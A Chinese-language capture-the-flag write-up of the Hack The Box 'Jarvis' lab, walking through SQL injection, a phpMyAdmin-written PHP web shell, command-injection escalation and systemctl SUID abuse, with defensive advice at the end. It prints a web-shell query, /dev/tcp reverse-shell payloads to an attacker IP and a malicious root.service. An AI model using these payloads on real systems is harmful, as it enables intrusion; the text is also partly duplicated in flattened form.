hack the box之jarvis靶场练习
字数 1431 2025-08-11 08:35:47

Hack The Box - Jarvis 靶场渗透测试教学文档

1. 信息收集阶段

1.1 端口扫描

使用工具如nmap进行端口扫描,发现开放端口:

  • 80端口:HTTP服务

1.2 Web服务枚举

访问80端口发现以下信息:

  • 域名:supersecurehotel.htb
  • 子域名:supersecurehotel@logger.htb

1.3 目录扫描

使用工具如dirbuster或gobuster扫描目录,发现:

  • phpMyAdmin目录
  • 版本信息:phpMyAdmin 4.8.0

2. 初始入侵

2.1 SQL注入漏洞利用

在Web应用中发现SQL注入点:

  • 使用sqlmap进行自动化注入测试
  • 获取数据库凭据:
    • 用户名:DBadmin
    • 密码:imissyou

2.2 phpMyAdmin登录

使用获取的凭据登录phpMyAdmin:

  • 确认网站根目录为默认目录
  • 尝试写入Web shell

2.3 Web shell写入

通过SQL查询写入PHP Web shell:

SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'

验证执行权限后,通过Web shell获取反向shell。

3. 权限提升至pepper用户

3.1 系统信息收集

查看当前用户权限和系统用户:

  • 当前用户:www-data
  • 系统用户:root和pepper

3.2 特权脚本分析

发现可使用pepper权限执行的脚本:

  • 路径:/var/www/Admin-Utilities/simpler.py
  • 分析脚本功能:
    • 提供统计、列表和ping功能
    • -p参数执行ping命令但有过滤

3.3 绕过过滤获取shell

利用命令注入绕过过滤:

  • 原始过滤:禁止使用&等字符
  • 绕过方法:使用$符号
  • 执行命令:
    sudo -u pepper /var/www/Admin-Utilities/simpler.py -p
    
    然后输入:
    $(bash -i >& /dev/tcp/攻击者IP/端口 0>&1)
    

3.4 解决无回显问题

当获取的shell无回显时:

  • 尝试重新反弹shell
  • 使用不同的payload或端口

4. 权限提升至root

4.1 SUID权限检查

查找具有SUID权限的可执行文件:

  • 发现systemctl具有SUID权限

4.2 systemctl提权方法

  1. 创建恶意service文件(root.service):

    [Unit]
    Description=root
    
    [Service]
    Type=simple
    User=root
    ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/攻击者IP/4567 0>&1'
    
    [Install]
    WantedBy=multi-user.target
    
  2. 在攻击机启动HTTP服务:

    python3 -m http.server 80
    
  3. 在目标机下载并启用service:

    cd /dev/shm
    wget http://攻击者IP/root.service
    systemctl link /dev/shm/root.service
    systemctl enable --now /dev/shm/root.service
    
  4. 在攻击机监听4567端口获取root shell

5. 获取flag

  • 用户flag路径:/home/pepper/user.txt
  • root flag路径:/root/root.txt

6. 关键问题解决

6.1 pepper shell无回显问题

可能原因:

  • 反向shell连接不稳定
  • 终端环境设置问题
    解决方案:
  • 尝试不同的反向shell payload
  • 使用更稳定的连接方式如nc
  • 检查防火墙设置

6.2 命令注入绕过技巧

  • 使用$代替被过滤的字符
  • 尝试base64编码命令
  • 使用变量拼接绕过

7. 总结与经验

  1. 完整渗透路径:

    • Web应用SQL注入 → 数据库凭据 → phpMyAdmin → Web shell → 反向shell
      → 特权脚本分析 → 命令注入 → pepper权限 → systemctl SUID滥用 → root权限
  2. 关键学习点:

    • 旧版本phpMyAdmin的安全风险
    • 特权脚本的命令注入漏洞
    • systemctl的SUID提权方法
    • 无回显shell的调试技巧
  3. 防御建议:

    • 及时更新phpMyAdmin
    • 限制数据库用户权限
    • 避免使用SUID设置
    • 对用户输入进行严格过滤
    • 使用最小权限原则运行服务
Hack The Box - Jarvis 靶场渗透测试教学文档 1. 信息收集阶段 1.1 端口扫描 使用工具如nmap进行端口扫描,发现开放端口: 80端口:HTTP服务 1.2 Web服务枚举 访问80端口发现以下信息: 域名:supersecurehotel.htb 子域名:supersecurehotel@logger.htb 1.3 目录扫描 使用工具如dirbuster或gobuster扫描目录,发现: phpMyAdmin目录 版本信息:phpMyAdmin 4.8.0 2. 初始入侵 2.1 SQL注入漏洞利用 在Web应用中发现SQL注入点: 使用sqlmap进行自动化注入测试 获取数据库凭据: 用户名:DBadmin 密码:imissyou 2.2 phpMyAdmin登录 使用获取的凭据登录phpMyAdmin: 确认网站根目录为默认目录 尝试写入Web shell 2.3 Web shell写入 通过SQL查询写入PHP Web shell: 验证执行权限后,通过Web shell获取反向shell。 3. 权限提升至pepper用户 3.1 系统信息收集 查看当前用户权限和系统用户: 当前用户:www-data 系统用户:root和pepper 3.2 特权脚本分析 发现可使用pepper权限执行的脚本: 路径:/var/www/Admin-Utilities/simpler.py 分析脚本功能: 提供统计、列表和ping功能 -p参数执行ping命令但有过滤 3.3 绕过过滤获取shell 利用命令注入绕过过滤: 原始过滤:禁止使用&等字符 绕过方法:使用$符号 执行命令: 然后输入: 3.4 解决无回显问题 当获取的shell无回显时: 尝试重新反弹shell 使用不同的payload或端口 4. 权限提升至root 4.1 SUID权限检查 查找具有SUID权限的可执行文件: 发现systemctl具有SUID权限 4.2 systemctl提权方法 创建恶意service文件(root.service): 在攻击机启动HTTP服务: 在目标机下载并启用service: 在攻击机监听4567端口获取root shell 5. 获取flag 用户flag路径:/home/pepper/user.txt root flag路径:/root/root.txt 6. 关键问题解决 6.1 pepper shell无回显问题 可能原因: 反向shell连接不稳定 终端环境设置问题 解决方案: 尝试不同的反向shell payload 使用更稳定的连接方式如nc 检查防火墙设置 6.2 命令注入绕过技巧 使用$代替被过滤的字符 尝试base64编码命令 使用变量拼接绕过 7. 总结与经验 完整渗透路径: Web应用SQL注入 → 数据库凭据 → phpMyAdmin → Web shell → 反向shell → 特权脚本分析 → 命令注入 → pepper权限 → systemctl SUID滥用 → root权限 关键学习点: 旧版本phpMyAdmin的安全风险 特权脚本的命令注入漏洞 systemctl的SUID提权方法 无回显shell的调试技巧 防御建议: 及时更新phpMyAdmin 限制数据库用户权限 避免使用SUID设置 对用户输入进行严格过滤 使用最小权限原则运行服务